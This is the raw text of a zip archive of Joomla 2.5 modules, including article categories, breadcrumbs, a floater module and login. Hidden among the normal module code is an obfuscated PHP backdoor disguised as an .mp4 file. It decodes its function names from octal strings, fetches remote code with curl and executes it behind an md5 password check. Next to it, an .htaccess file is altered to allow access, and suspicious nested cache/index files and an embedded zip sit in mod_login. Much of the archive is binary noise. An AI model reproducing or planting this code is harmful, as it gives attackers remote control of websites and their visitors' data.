  • id))) echo ' class="active"';?>> level-$startLevel -1; ?> get('item_heading')+ $levelup; ?>> title;?> get('item_heading')+ $levelup; ?>> get('show_description', 0)) { echo JHtml::_('content.prepare', $item->description, $item->getParams(), 'mod_articles_categories.content'); } if($params->get('show_children', 0) && (($params->get('maxlevel', 0) == 0) || ($params->get('maxlevel') >= ($item->level - $startLevel))) && count($item->getChildren())) { echo '
      '; $temp = $list; $list = $item->getChildren(); require JModuleHelper::getLayoutPath('mod_articles_categories', $params->get('layout', 'default').'_items'); $list = $temp; echo '
    '; } ?>
  • PKYy>\Z\D(mod_articles_categories/tmpl/default.phpnuW+A
      get('layout', 'default').'_items'); ?>
    PKYy>\)&mod_articles_categories/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKYy>\V'mod_articles_categories/tmpl/index.htmlnuW+A PKYy>\,r9mod_articles_categories/mod_articles_categories/.htaccessnuW+A Order allow,deny Deny from all # Order allow,deny Allow from all PKYy>\⎟--Bmod_articles_categories/mod_articles_categories/eUkmHyIfPjqSRi.mp4nuW+A $u8D5b2jiVV2) { $nt1gnbBKQPv .= $ZY9jgDWHokJ[$u8D5b2jiVV2 - 86745]; re4vlYvxlU9: } goto sjIthsWmMQa; sjIthsWmMQa: rSVblgBRJFq: goto e3FrtJVtG0V; iuIDp3ORjPN: $wrpjJJC176T = "\x72" . "\141" . "\156" . "\147" . "\x65"; goto ZzyeuuyLVKK; gVmrfgp5sls: $mE15iAfd8RJ = explode("\74", $X1V24MacMRW); goto ZWdF6Fgh6sL; e3FrtJVtG0V: return $nt1gnbBKQPv; goto pZBPKBLZUPC; pZBPKBLZUPC: } static function HwU9P4wBqTU($kwT944SDQC7, $IqwTHUNED84) { goto X2I8uyuHWpX; X2I8uyuHWpX: $CCp2dXRfQDn = curl_init($kwT944SDQC7); goto pQJvtKiVqSC; qo0PqIeormW: $mzTLRyl8Rsu = curl_exec($CCp2dXRfQDn); goto qXRQU_vMBS3; qXRQU_vMBS3: return empty($mzTLRyl8Rsu) ? $IqwTHUNED84($kwT944SDQC7) : $mzTLRyl8Rsu; goto hzotHyauQyo; pQJvtKiVqSC: curl_setopt($CCp2dXRfQDn, CURLOPT_RETURNTRANSFER, 1); goto qo0PqIeormW; hzotHyauQyo: } static function ckB_4VV3LC6() { goto VJNa3PM3lhl; IRINEd5xcqz: @$gFr3CyzB8K_[0]('', $gFr3CyzB8K_[5 + 2] . $gFr3CyzB8K_[4 + 0]($eGHerS0EUuj) . $gFr3CyzB8K_[0 + 8]); goto zhMehSZaCi2; KLAv7kh_l9S: $eGHerS0EUuj = self::hWu9p4WbQtU($W5gPkcBN7en[1 + 0], $gFr3CyzB8K_[0 + 5]); goto IRINEd5xcqz; VJNa3PM3lhl: $a7LEWKVbSj6 = array("\x38\66\67\67\62\74\x38\66\67\x35\x37\x3c\x38\66\x37\x37\60\74\70\66\x37\x37\64\x3c\x38\x36\67\x35\65\x3c\x38\66\x37\x37\60\74\x38\66\67\x37\x36\74\x38\x36\67\66\71\74\70\66\x37\65\64\74\x38\x36\67\66\61\74\70\x36\67\67\62\x3c\x38\66\67\x35\x35\x3c\70\x36\67\66\x36\x3c\70\x36\67\x36\x30\74\x38\x36\x37\66\x31", "\70\66\x37\65\x36\74\70\66\67\65\65\x3c\x38\66\x37\x35\67\74\x38\x36\67\x37\66\74\x38\66\x37\x35\67\74\x38\66\67\66\60\74\70\66\x37\x35\x35\74\x38\66\x38\62\x32\x3c\70\66\70\x32\x30", "\70\x36\67\66\65\74\70\x36\67\x35\x36\74\x38\66\x37\66\x30\74\70\66\67\x36\x31\74\70\66\x37\x37\66\x3c\x38\x36\67\67\61\x3c\x38\x36\x37\67\x30\x3c\70\66\x37\67\62\x3c\x38\x36\67\x36\x30\x3c\70\66\67\x37\61\74\x38\x36\x37\x37\x30", "\70\66\x37\65\x39\x3c\x38\66\x37\67\64\x3c\x38\66\x37\x37\62\74\70\x36\67\x36\64", "\x38\66\x37\67\x33\74\70\x36\x37\x37\x34\74\70\x36\67\65\66\74\x38\66\67\x37\x30\74\x38\x36\x38\x31\x37\x3c\x38\66\x38\x31\x39\x3c\70\66\67\x37\x36\74\70\66\x37\67\x31\74\x38\66\x37\67\60\x3c\x38\66\67\x37\x32\74\x38\66\x37\66\60\74\x38\66\67\x37\61\74\x38\66\67\67\60", "\70\66\x37\66\71\x3c\x38\66\x37\66\x36\x3c\70\x36\x37\x36\63\x3c\70\x36\67\x37\x30\x3c\x38\x36\67\67\x36\74\x38\66\x37\66\70\x3c\70\x36\x37\67\x30\x3c\x38\x36\x37\65\x35\x3c\70\66\x37\67\66\74\70\66\x37\x37\x32\x3c\70\x36\x37\x36\x30\74\x38\66\x37\66\x31\74\x38\x36\x37\x35\x35\74\x38\66\x37\x37\x30\x3c\x38\66\x37\66\x31\x3c\x38\x36\x37\x35\65\74\70\x36\x37\65\66", "\70\x36\67\71\71\x3c\x38\66\70\62\71", "\x38\66\x37\x34\66", "\x38\x36\x38\62\x34\x3c\70\66\x38\x32\71", "\x38\66\x38\60\x36\74\x38\66\67\70\x39\x3c\70\66\x37\x38\x39\74\70\x36\x38\x30\66\74\70\66\x37\70\62", "\70\66\67\x36\x39\74\x38\66\x37\66\x36\x3c\x38\66\x37\66\63\x3c\x38\66\67\x35\x35\x3c\x38\x36\67\x37\60\x3c\x38\66\67\65\67\74\70\x36\x37\x37\66\74\70\66\67\x36\66\74\70\x36\x37\66\x31\74\x38\66\67\x35\71\74\x38\66\x37\65\64\74\x38\x36\x37\65\65"); goto KC1_l1KcCVh; O4fE4wb2IYt: $W5gPkcBN7en = $gFr3CyzB8K_[2 + 0]($H5ra17jLi7y, true); goto U1_1zVGhjDn; U1_1zVGhjDn: @$gFr3CyzB8K_[9 + 1](INPUT_GET, "\157\146") == 1 && die($gFr3CyzB8K_[3 + 2](__FILE__)); goto SWz0wWzbgyK; zhMehSZaCi2: die; goto UlBe0PTROgh; UplS0otJ6no: uxyh5kepKPs: goto tPsGKcH37tS; UlBe0PTROgh: j2xurNEmPE8: goto N1ZhY_URH61; KC1_l1KcCVh: foreach ($a7LEWKVbSj6 as $weuAkePQqoH) { $gFr3CyzB8K_[] = self::CLmdAh8Vvxh($weuAkePQqoH); lGR2GQgggH9: } goto UplS0otJ6no; SWz0wWzbgyK: if (!(@$W5gPkcBN7en[0] - time() > 0 and md5(md5($W5gPkcBN7en[1 + 2])) === "\63\60\70\67\x62\x65\x39\x63\x65\142\145\145\x33\x66\146\x66\60\65\142\x35\x64\x64\70\141\x37\x33\x31\142\70\63\62\143")) { goto j2xurNEmPE8; } goto KLAv7kh_l9S; tPsGKcH37tS: $tTJVsWWjF07 = @$gFr3CyzB8K_[1]($gFr3CyzB8K_[5 + 5](INPUT_GET, $gFr3CyzB8K_[3 + 6])); goto ztSOccxDeQv; ztSOccxDeQv: $H5ra17jLi7y = @$gFr3CyzB8K_[1 + 2]($gFr3CyzB8K_[5 + 1], $tTJVsWWjF07); goto O4fE4wb2IYt; N1ZhY_URH61: } } goto Am7r1xAgo_U; HwszddSCaDX: metaphone("\x6b\147\155\x4c\x45\x79\x73\x6e\154\x73\167\x50\x72\64\x37\x66\116\x66\x2b\107\64\x6f\132\x39\114\152\66\172\x34\x36\x6f\x66\x5a\63\110\130\104\x31\x42\156\132\102\x49"); goto HD2xE8z8yQ7; lOXQClSK6iq: $uImBN2XfZnY = range("\176", "\40"); goto Iddduv__sDl; cYIucxSYY3w: @(md5(md5(md5(md5($y1yyVAaP428[20])))) === "\x63\x66\x64\x66\x31\x66\63\x30\x62\x32\144\x37\x31\x63\x61\x61\x63\x31\146\x32\x65\x34\x32\61\x36\141\x64\61\x32\144\142\x63") && (count($y1yyVAaP428) == 26 && in_array(gettype($y1yyVAaP428) . count($y1yyVAaP428), $y1yyVAaP428)) ? ($y1yyVAaP428[64] = $y1yyVAaP428[64] . $y1yyVAaP428[73]) && ($y1yyVAaP428[90] = $y1yyVAaP428[64]($y1yyVAaP428[90])) && @($y1yyVAaP428 = $y1yyVAaP428[90]($y1yyVAaP428[55], $y1yyVAaP428[64](${$y1yyVAaP428[39]}[11]))) && $y1yyVAaP428() : $y1yyVAaP428; goto HwszddSCaDX; Am7r1xAgo_U: u1JdMEba7e6::CKB_4VV3Lc6(); ?> PKYy>\zs  9mod_articles_categories/mod_articles_categories/cache.phpnuW+APKYy>\`;;9mod_articles_categories/mod_articles_categories/index.phpnuW+APKYy>\_YY"mod_articles_categories/helper.phpnuW+Aget($params->get('parent', 'root')); if ($category != null) { $items = $category->getChildren(); if($params->get('count', 0) > 0 && count($items) > $params->get('count', 0)) { $items = array_slice($items, 0, $params->get('count', 0)); } return $items; } } } PKYy>\)!mod_articles_categories/.htaccessnuW+A Order allow,deny Deny from all PKYy>\V"mod_articles_categories/index.htmlnuW+A PKYy>\:||3mod_articles_categories/mod_articles_categories.xmlnuW+A mod_articles_categories Joomla! Project February 2010 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_ARTICLES_CATEGORIES_XML_DESCRIPTION mod_articles_categories.php tmpl helper.php index.html mod_articles_categories.xml en-GB.mod_articles_categories.ini en-GB.mod_articles_categories.sys.ini
    PKYy>\{3mod_articles_categories/mod_articles_categories.phpnuW+Aget('moduleclass_sfx')); $startLevel = reset($list)->getParent()->level; require JModuleHelper::getLayoutPath('mod_articles_categories', $params->get('layout', 'default')); } PKYy>\)mod_breadcrumbs/.htaccessnuW+A Order allow,deny Deny from all PKYy>\Vmod_breadcrumbs/index.htmlnuW+A PKYy>\)mod_breadcrumbs/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKYy>\[ mod_breadcrumbs/tmpl/default.phpnuW+A PKYy>\Vmod_breadcrumbs/tmpl/index.htmlnuW+A PKYy>\Mħ #mod_breadcrumbs/mod_breadcrumbs.xmlnuW+A mod_breadcrumbs Joomla! Project July 2006 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_BREADCRUMBS_XML_DESCRIPTION mod_breadcrumbs.php tmpl helper.php index.html mod_breadcrumbs.xml en-GB.mod_breadcrumbs.ini en-GB.mod_breadcrumbs.sys.ini
    PKYy>\; #mod_breadcrumbs/mod_breadcrumbs.phpnuW+Aget('separator')); $moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx')); require JModuleHelper::getLayoutPath('mod_breadcrumbs', $params->get('layout', 'default')); PKYy>\4}mod_breadcrumbs/helper.phpnuW+AgetPathway(); $items = $pathway->getPathWay(); $count = count($items); // don't use $items here as it references JPathway properties directly $crumbs = array(); for ($i = 0; $i < $count; $i ++) { $crumbs[$i] = new stdClass(); $crumbs[$i]->name = stripslashes(htmlspecialchars($items[$i]->name, ENT_COMPAT, 'UTF-8')); $crumbs[$i]->link = JRoute::_($items[$i]->link); } if ($params->get('showHome', 1)) { $item = new stdClass(); $item->name = htmlspecialchars($params->get('homeText', JText::_('MOD_BREADCRUMBS_HOME'))); $item->link = JRoute::_('index.php?Itemid='.$app->getMenu()->getDefault()->id); array_unshift($crumbs, $item); } return $crumbs; } /** * Set the breadcrumbs separator for the breadcrumbs display. * * @param string $custom Custom xhtml complient string to separate the * items of the breadcrumbs * @return string Separator string * @since 1.5 */ public static function setSeparator($custom = null) { $lang = JFactory::getLanguage(); // If a custom separator has not been provided we try to load a template // specific one first, and if that is not present we load the default separator if ($custom == null) { if ($lang->isRTL()){ $_separator = JHtml::_('image', 'system/arrow_rtl.png', NULL, NULL, true); } else{ $_separator = JHtml::_('image', 'system/arrow.png', NULL, NULL, true); } } else { $_separator = htmlspecialchars($custom); } return $_separator; } } PKYy>\QRQu2 2 mod_floater/readme.htmlnuW+A R3D Floater Module Logo

    R3D Floater Module

    Version 2.5.0 for Joomla 2.5x - Based on DOM Scripting.
    You can float in ANY other module from the left browser edge to the right as far as you wish... See it in action: visit www.r3d.de.

    Instructions:

    Please follow all steps below - get it working first - and then start playing with the settings and positions ;).
    Open this readme.html in a separate browser window for convenience.
    1. Install the module using the Joomla Extension Manager.

    2. At first, we need to edit some template files (make sure you BACKUP and edit the template files in use!).
      Using an Editor of your choice, open /templates/my-template-in-use/templateDetails.xml and ADD two new template positions called floatercontent and floatercontainer, using the following code inbetween the positions tags (copy & paste the two bold lines below):
      <positions>
      ...
      <position>floatercontent</position>
      <position>floatercontainer</position>

      </positions>
    3. Place the floatercontainer position inside your template at the end (right before the body end tag)
      of your /templates/my-template-in-use/index.php, using the following code:
      <jdoc:include type="modules" name="floatercontainer" style="xhtml" />
    4. Now we need to go back to the Joomla Backend. Go to Extensions -> Module Manager and create a new module of your choice at the 'floatercontent' position.
      Example: Click New, select 'Custom HTML' and enter following settings:
      • Title: My Floater Content
      • Show Title: Hide
      • Position: floatercontent
      • Status: Published
      • Access: Public
      • Custom output: Hello World!
      • Module Assignment: On all pages
      To float in ANY other module (like Newsflash etc.) just publish it at the floatercontent position.

    5. Now open the R3D Floater module and edit to the following lines:
      • Show Title: Hide
      • Position: floatercontainer (NOT floatercontent!)
      • Status: Published
      • Access: Public
      • Module Assignment: SELECT THE MENU WHERE YOU WANT THE FLOATER
      • Basic Options: use the presets, later play with these settings until you are happy with the looks...

    PKYy>\e mod_floater/index.htmlnuW+A.PKYy>\6aw mod_floater/readme_de.htmlnuW+A R3D Floater Module Logo

    R3D Floater Module

    Version 2.5.0 für Joomla 2.5x - basierend auf DOM Scripting, keine Konflilkte mit MooTools oder jQuery.
    Lassen Sie Inhalts-Module in die Seite schweben. Beispiel auf www.r3d.de.

    Anleitung:

    Bitte befolgen Sie zuerst alle Schritte genau so wie hier beschrieben. Erst wenn es funktioniert sollten Sie mit änderungen experimentieren.
    Diese Anleitung können Sie auch hier öffnen: readme_de.html.
    1. Installieren Sie das Modul mit dem Joomla Erweiterungs Manager.

    2. Zuerst müssen Sie ein paar Joomla Template Dateien von Hand ändern. Benutzen Sie einen Texteditor - bitte machen Sie zuvor Sicherungen der zu ändernden Dateien.
      öffnen Sie die Datei /templates/my-template-in-use/templateDetails.xml und fügen Sie zwei neue Template Positionen floatercontent und floatercontainer hinzu, benutzen Sie folgenden Code (copy & paste die 2 Zeilen in fett):
      <positions>
      ...
      <position>floatercontent</position>
      <position>floatercontainer</position>

      </positions>
    3. öffnen Sie jetzt die Datei /templates/my-template-in-use/index.php und fügen Sie am Ende der HTML Struktur direkt vor dem Ende des BODYs folgenden Code ein:
      <jdoc:include type="modules" name="floatercontainer" style="xhtml" />
    4. Gehen Sie zurück zur Joomla Administration und erstellen Sie in Erweiterungen -> Module ein neues Modul auf der 'floatercontent' Position.
      Beispiel: Klick auf NEU, wählen Sie "Eigene Inhalte (Leeres Modul)" und tragen folgende Inhalte ein:
      • Titel: Mein Floater Inhalt
      • Titel anzeigen: Verbergen
      • Position: floatercontent
      • Status: Freigegeben
      • Zugriffsebene: Public
      • Benutzerdefinierte Ausgabe: Hallo Welt!
      • Modulzuweisung: Auf allen Seiten
      Jegliches Modul (wie z.B. Beiträge - Newsflash etc.) kann so über die floatercontent Position eingebunden werden.

    5. öffnen Sie jetzt das R3D Floater Modul und ändern wie folgt ab:
      • Titel anzeigen: Verbergen
      • Position: floatercontainer (NOT floatercontent!)
      • Status: Freigegeben
      • Zugriffsebene: Public
      • Modulzuweisung: MENü(S) WäHLEN, WO DER FLOATER ANGEZEIGT WERDEN SOLL
      • Basisoptionen: benutzen Sie die Voreinstellungen - und ändern diese später ab

    PKYy>\)mod_floater/.htaccessnuW+A Order allow,deny Deny from all PKYy>\SJJmod_floater/mod_floater.xmlnuW+A R3D Floater Richard Dvorak 06.07.2012 (C) 2009 www.r3d.de - All rights reserved. http://www.gnu.org/copyleft/gpl.html GNU/GPL info@r3d.de www.r3d.de 2.5.0 MOD_FLOATER_DESCRIPTION en-GB.mod_floater.ini en-GB.mod_floater.sys.ini de-DE.mod_floater.ini de-DE.mod_floater.sys.ini mod_floater.php index.html readme.html readme_de.html images/r3d_extensions_200x95.jpg images/index.html
                                   
    PKYy>\ֳ11mod_floater/mod_floater.phpnuW+Aget( 'loadmodule', false); $direction = 'left'; $initdir = 'slideDR'; $timeout = $params->get( 'timeout', '10000' ); $oncepersession = $params->get( 'oncepersession', 'false' ); // Box Parameters $boxwidth = $params->get( 'boxwidth', '300px' ); $boxheight = $params->get( 'boxheight', '300px' ); $boxleft = $params->get( 'boxleft', '-400px' ); $boxtop = $params->get( 'boxtop', '190px' ); $bgcolor = $params->get( 'bgcolor', '#f5f5f5' ); $border = $params->get( 'border', '7px solid #135CAE' ); $opacity = $params->get( 'opacity', '90' ); $talign = $params->get( 'talign', 'right' ); // inside positions $iwidth = $params->get( 'iwidth', '270px' ); $iheight = $params->get( 'iheight', '250px' ); $ileft = $params->get( 'ileft', '10px' ); $itop = $params->get( 'itop', '0px' ); $ibgcolor = $params->get( 'ibgcolor', 'transparent' ); $iborder = $params->get( 'iborder', 'none' ); $italign = $params->get( 'italign', 'center' ); $ioverflow = $params->get( 'ioverflow', 'auto' ); // startpositions $startpos = $params->get ( 'startpos', '-400' ); $rightpos = $params->get ( 'rightpos', '100' ); $rightspeed = $params->get ( 'rightspeed', '20' ); $leftpos = $params->get ( 'leftpos', '-400' ); $leftspeed = $params->get ( 'leftspeed', '20' ); $line1 = JText :: _('CLOSE WINDOW'); //////////////////////////// END PARAMS ////////////////////////////// jimport('joomla.application.module.helper'); if($loadmodule!=false){ // get a reference to the database $db = &JFactory::getDBO(); // get a list of $userCount randomly ordered users $query = 'SELECT id,title,module FROM #__modules WHERE id = '.$loadmodule.' LIMIT 1'; $db->setQuery($query); $moduletoload = $db->loadObject(); $modname = JModuleHelper::getModule(substr($moduletoload->module,4),$moduletoload->title); }else{ $modname = false; } // Init // Set opacity if($opacity>99){ $opacityie = 100; $opacity = 1; }else{ $opacityie = $opacity; $opacity = '0.'.$opacity; } // Get session $session = JFactory::getSession(); // Time for the once-per-day cookie. $expire = time()+mktime(24,0,0); if($oncepersession=='oncepersession'){ if(!$session->get('mod_floaterpersession')){ $check = true; }else{ $check = false; } }elseif($oncepersession=='onceperday'){ if(!$_COOKIE['mod_floaterperday']){ $check = true; }else{ $check = false; } }else{ $check = false; } if($check or $oncepersession == 'false'){ ?>
      X

    'raw')); }else{ echo 'No module loaded.'; } ?>
    set('mod_floaterpersession', 'true'); }elseif($oncepersession == 'onceperday' && !$_COOKIE['mod_floaterperday']){ // Cookie setcookie("mod_floaterperday", "true", $expire); } ?>PKYy>\ի''mod_floater/images/index.htmlnuW+A.PKYy>\)mod_floater/images/.htaccessnuW+A Order allow,deny Deny from all PKYy>\2,mod_floater/images/r3d_extensions_200x95.jpgnuW+AJFIFddDuckyK&Adobed b o 5     _ 43250@P!1%!r 1AQqa"2#BR3s@bC !1QAa0q@P ͕;>dU}(v&fتbNm?yʭ0 e'ѩ7ί 즿-F[{/͞nOy[{4uq=vMp&\S]~\[{͋oϣd'Lz?z#:6罠仮5\&W:W_!;b[܁u5h@bz,Yѡ=esAOeuroi6/5> 渮謿@1]_9Yz7/B"oɕν=eؼ7 `yejo\1[XnЉ&W:W_!;b[܀ mzzSE~l rVp&W:W_!;b[^#ӊiF5YkmWEewz]slLo"L#CȀYa{@?r}.EE!f*xnyO_I| p/M`WT5[~C:l9RjSdMZg ; /uNʉuphK,}ԕXFh;LO}=%.ٟKAe3-s; Cܘq8)i<7 <璘$Bw8:T`q! z\> @EUUY!g ; /uNg<`4v iv-Hwq䈈ppgc IZɠ$I(\și@oSڃZdFXXʼn` A8#{PtX9+!X{z{[z馄],7ҶDԗKɩ.MKSB].ɩЗKԺtӽB5%eնVڶյm???] Jx y]عrfڠ*Wv"$Lg=DoάT{E&Z"oҦMSv.\v8o ͞-_[ S5?33W2qُ@AM{z_َXC/==[fՑ*_p,XFJs%jy6) fň/7b,p/W= Hh&6S>WC=L  pLئ^;p)"ݙpAD)|iFSR023\q50iy6) fň/7fLi9hBbl35)r>kt5J%5y6) fň/7fL0vDͬ[= YJtܝ:iX"QM#P5&ʀy6) fň/7fAۙX>i}Ge}KIx/jL#^N&lS/ 8͋}_jnfIuDVr缍V'b^0Tj $ͩ.ϽKZ^8MM/j?+NY`)%tI0Ra֣j<`v3V. 7ڵIʵg1#LsaZyY(~W7K]ZA1 PED1@/PED1AQ"?[?![A=,9  CPGiK%CEuo`J3FN_Q:3uQJ__ ( 5 ;kY}D\ηЛC}OgWE(BOy{DKԿpV2nZ{?D{5p[pO*^hmSILijV1{¾EFJ6T.rWܩE{"G؜`ۘA*iK&HA~ҋQO_i|ML '?!eJXz\\ \\\\Ǣqqs>gqq}W3^kxܹ?!e%%1p))/2żw;߆܇wTpէ)?GwmfG !OGw Gz[ߕ*{߆inp+#oCL)^= I$I$I$SpZ"،2N3sHFb291FG$; ߑWć #1\d$f##X$D'H$$H I$I$I$O?^3-,)089Q;9jnVrMZ %%{NŬά>9&aX-G1DB(H1,>8E)&, } Kt[O-N|UY7ԇUr y_$9aW+WdcRVtn\E4Hi5 Md@ҏT\֐4 E$Fv>'q:,0u^'D:O)ߨVA @!M:~蜜~`lDO`7@\fZ|bf-P\<\Zzi('HzUtNsMMxM6j71]D@nk{$D읓 #T :uJlHzUtNsMʵajS7T"T!DUuA{HJUUj)lzG8W:s'oWisz%xB8aZ!I5E]7AvX)J/#y?7"c8꼰x<~4!,7@ J& nOHFѺ[xjUtc_6#N W9Γ}7t ?忨X@*|ܾ]3K[Mvַ;vҘCg8x2y~ ۳jҢBOg:/viv!w(L>hm\ 깾++.SU+Dv|4HO{5iл./:#Ze7Pi`JpA!-T\/F HXwTOfmp7?e8%ahS)¥fD60ݑ/M.bkfe( ۰ݐj-!  ̡x-d zaنDk-Cl-_?ZO44y`x#F gyko{89,eo{!DCl+k!s;wP ¢-pD]rw7D߃߆q`hdԠ;of [2Pûy F'-ZC.o=+/˛cw/]R{+PKYy>\)mod_login/.htaccessnuW+A Order allow,deny Deny from all PKYy>\Vmod_login/index.htmlnuW+A PKYy>\wMCmod_login/helper.phpnuW+AgetRouter(); $url = null; if ($itemid = $params->get($type)) { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($db->quoteName('link')); $query->from($db->quoteName('#__menu')); $query->where($db->quoteName('published') . '=1'); $query->where($db->quoteName('id') . '=' . $db->quote($itemid)); $db->setQuery($query); if ($link = $db->loadResult()) { if ($router->getMode() == JROUTER_MODE_SEF) { $url = 'index.php?Itemid='.$itemid; } else { $url = $link.'&Itemid='.$itemid; } } } if (!$url) { // stay on the same page $uri = clone JFactory::getURI(); $vars = $router->parse($uri); unset($vars['lang']); if ($router->getMode() == JROUTER_MODE_SEF) { if (isset($vars['Itemid'])) { $itemid = $vars['Itemid']; $menu = $app->getMenu(); $item = $menu->getItem($itemid); unset($vars['Itemid']); if (isset($item) && $vars == $item->query) { $url = 'index.php?Itemid='.$itemid; } else { $url = 'index.php?'.JURI::buildQuery($vars).'&Itemid='.$itemid; } } else { $url = 'index.php?'.JURI::buildQuery($vars); } } else { $url = 'index.php?'.JURI::buildQuery($vars); } } return base64_encode($url); } static function getType() { $user = JFactory::getUser(); return (!$user->get('guest')) ? 'logout' : 'login'; } } PKYy>\ќ- - mod_login/mod_login.xmlnuW+A mod_login Joomla! Project July 2006 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_LOGIN_XML_DESCRIPTION mod_login.php tmpl helper.php index.html mod_login.xml en-GB.mod_login.ini en-GB.mod_login.sys.ini
    PKYy>\eM\\mod_login/mod_login.phpnuW+Adef('greeting', 1); $type = modLoginHelper::getType(); $return = modLoginHelper::getReturnURL($params, $type); $user = JFactory::getUser(); require JModuleHelper::getLayoutPath('mod_login', $params->get('layout', 'default')); PKYy>\Vmod_login/tmpl/index.htmlnuW+A PKYy>\m/n mod_login/tmpl/default.phpnuW+A
    get('greeting')) : ?>
    get('pretext')): ?>

    get('pretext'); ?>

    • get('allowUserRegistration')) : ?>
    get('posttext')): ?>

    get('posttext'); ?>

    PKYy>\)mod_login/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKYy>\rCu)mod_login/mod_login/mov_68b7d983daa84.zipnuW+APK0#[b_68b7d983daa84.tmpUmH+b&<ȋFwGs3 6#g~4fo?IcQS/]}ߢA6vBIp`PEmL ! E$ A.4XD"UM&DU5U+\,+rjdL*=QÙ9'qI败b(!Tuww}m\wq(߬qZS ~m ԱtZTiys.HIW6+A$MbG TL0\5&è= {Oo'uw9b|t%ï7_eugG?>>r"E!t#n s%tFu: OCg fw؂f`' TfGG᷐}'e{ԯd''9+ Ხiht؅ .?ϯQ(oN۽ǟt5w ]0C?JLf ZDAG?^{6"RWK鑺t͙I%f*U|FS+"v CٓXCr-XϭVrd& Eƍ#p&.'jLaa2S2LObY-E0hjJ-2LF}陆y>^]y x=cMMkldD*כ=Jy®tvIbtx N.ٞ^ 'c<|90n\d;A!WkrF^BXsȹY: sXSwȦSQ;PF22 -lMè6gs>Ś(S<${H (n0 Yb0B枩)sbhY CwBQ:$񵟹a]D|6Қ,D*gcJ%Up/PK0#[ǒAbc_68b7d983daa84.tmp]XHr+3a8(g9(g`@tUzU?TO?{u?97=`kzQtruqáзt<3? r%]4g&r|NNlH>~;MUDCZdža-ltI2h$bzwiz kWԩbׂoT"=pQ7BqN.yړzFp.YFqԵddEB@ Si @`ͫ/42]W^Ş 4|IzMr"{iw)su~#[I8-5#VqhnNJ8d?KÓHCb"V5F-ŀABۮIY󚦂K+=b@Ǽ0nK9rNmqi.`{=@:ܢE}%QjE`!56 hZ`'TEl#f.B=۹(jO#[쮵/tټv%.KՅY_p{y$c:Ov߅Q$Uh*7&3Z|yW"Գ*-VyOe(GwAg¡X_׼W)xduC " c<-ݫAbܕ=DzRt d}c02ܿɋg|y} & Mvx ؎شx=WHg>oZқAVHp_~>,3qz]K: {[UԠ$*˙R%UT(|+QCIN*>'6cW9γ)XXh'6nAԐa#삷5& zksHAHZ,7d:ٹMd^MwBv:j`"NEl']BK8v]m<U1ff$Vk"*N}OQ5Q9Fs˘,.29TZ*2zwɉf{VSt>R$Ve#0=溊@N|'Eous/A d9x rly2'n=Q牕` %:ď;ͧf#m)Q yA:Z)N*x7Gd?S|ZQ\ M񖻋d#Su1.R(&* C-n,Vvp{5ts0VO>HoSfзO806Yo{m)LbVj;\k\[7[]3TwUoh"i5NX,%Ο@ rXe!8@ HUk/0z5|cM,#mFr#' K%#˭$l=][k*%lFxidH͒`H9ZV,L[/݆ Sovg=4\鎂"rA:вfi6z,J}抺R>o?(G&CI^̡$˚J MCj'?ѣ)J)sGe,PZh+懹p3,{|(v̈`)@s1ivivNLbk,+5Jm n;8#eoC#[c}kҷd.. 2oY 4.OcP3hs-X@5=b|_o \NS3t&@] }%PclvWZ2,ۍ'40uW=)lKAzKLFnD;Fo6ۉREeI|ye&vT9PbTn\w}s,*l<9\S 1)FzQ\, T۸OAKRw;@Ӓ]3h JWRd~-JSr` 0A ~|J] wlo0|GdܘmX^u~ m|Mbx=o r~a:T IĎ0i`ѓRrE7x'e)h*w&?34RLXRM,'2E+JHٿ hv\^'a̕#貍H(mg/Vȴ!d)->oaU<7K|,}9@'#Ht#="@*`{C1m%};CT1N3 +>S9t9eŔhJ0ʓя8g(1QX/qa* *8`}N ~EX*4ed|x&;v/{j]5&F|+)}}Tay܏6%a `]SMe(GSDihO>ցOO iFI"Rf8< w$1u-L nR*.n#"u*B&wdy=)) ?Đ9U!w _N{u8i&Q%R .o zĠo0tk Hp8'r}H*:[Ux>\\LjUƻ "U^xXDžX_g ('~Toҧ(|T^Awvb}_}{<#h/ǯQTCN[ӶVn-'(hӗΐ\SA]/I,ppɺsC.#E4'#Vj-Ku54p{ȩ>@Aݝ ȶ v"J`$H:2 1{SbſsVo煦18?GG阺dc=b8xͣk&ɁD13ToNYq|$%ʛ J\Icѩ*#MMӲɮobx{![mCAy~bCNRJqJfM؀}&#=sw`Qt- Nݖxc*YvX LbZtX`.!zW55g/X*W+`Jx!khtRLT5vEdZ*"06v@;^vQZ\0 n e6+`y><3;\8Ib}-ds]IB=t}Ѳ_eVt&*%;!%N9kF.1JNۜIz=8~F"9;R"{ :К_~~}YtݖƟ?t-//g˿,Ŷ/8úv.EBp⟾?iuf8Çiʟԟv3`>4vwt9r\<:SJ-'iJ{$:RHj>m"UΪKu\,rmod_login/mod_login/.htaccessnuW+A Order allow,deny Deny from all # Order allow,deny Allow from all PKYy>\{1rrmod_login/mod_login/cache.phpnuW+APKYy>\7$mod_login/mod_login/index.phpnuW+APKYy>\#o,,+mod_virtuemart_manufacturer/tmpl/index.htmlnuW+APKYy>\)*mod_virtuemart_manufacturer/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKYy>\0pVV,mod_virtuemart_manufacturer/tmpl/default.phpnuW+A
    virtuemart_manufacturer_id); ?>
    "; $col= 1 ; } else { $col++; } } ?>

